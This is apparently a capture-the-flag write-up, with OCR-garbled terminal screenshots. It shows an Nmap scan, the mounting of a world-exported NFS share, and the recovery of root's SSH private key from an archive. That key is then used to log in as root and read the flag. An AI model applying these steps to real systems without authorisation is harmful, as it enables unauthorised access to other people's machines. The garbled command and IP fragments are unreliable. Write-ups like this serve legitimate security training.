During the reconnaissance phase, an Nmap scan was performed against the target system.
1. Port Scanning
The scan revealed multiple open ports:

22/tcp — SSH

25/tcp — SMTP

111/tcp — RPCBInd

2049/tcp — NFS (Network File System)

The presence of RPCBind (111) and NFS (2049) indicates that the target is running an NFS
service, which could allow remote file sharing.

[~/Downloads]
206.97.281
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-04 02:
Nmap scan report for ec2-13 i aws.com (13.2
86.97.201)
Host is up (B.874s latency).

»

Mot shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
tcp open ssh

25/tcp filtered smtp
111/tcp open rpcbind
2049/tcp open nfs

Nmap done: 1 IP address (1 host up) scanned in 19.64 seconds

[~/Downloads ]

NFS Share Enumeration

To identify accessible NFS shares, the following command was used:

~/Downloads’
3.206.97.201

1:




This shows that the /var/share directory is exported and accessible to all hosts (*), which is
a misconfiguration and a potential security risk.

3. Mounting the NFS Share

Since the share is publicly accessible, it was mounted locally:

~/Downloads
t nfs 13.206.97.201:/var/share /mnt
[sudo] password for kali:

~/Downloads
/mnt
package.tar.gz

~/Downloads

Analyzing the Retrieved Archive

After mounting the NFS share, the file package.tar.gz was downloaded and extracted:



i package.tar.gz [read only]
Archive Edit View Help
[+] [@ Open ~ B Extract
€« + [  Location: [root/.ssh/

Name v Size Type Date Modified

. authorized_keys 182 bytes Unknown 215eptember 2023...
. id_ecdsa 513 bytes Unknown 21September 2023...
. id_ecdsa.pub 182 bytes MicrosoftP... 21September 2023...

Gaining SSH Access
First, proper permissions were set on the private key:
chmod 600 id_ecdsa

Then, SSH access was attempted using the key:



e

: 1) See https://openssh.com/pg.html
-172-31-45-234 5.10.0-38-cloud-amd64 #1 SMP Debian 5.10.249-1 (2@
x86_64

The programs included with the Debian GNU/Linux
exact distribution terms for each program ar
dual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applic;

root@ip-172-31-45
ctf{ahrzuip :
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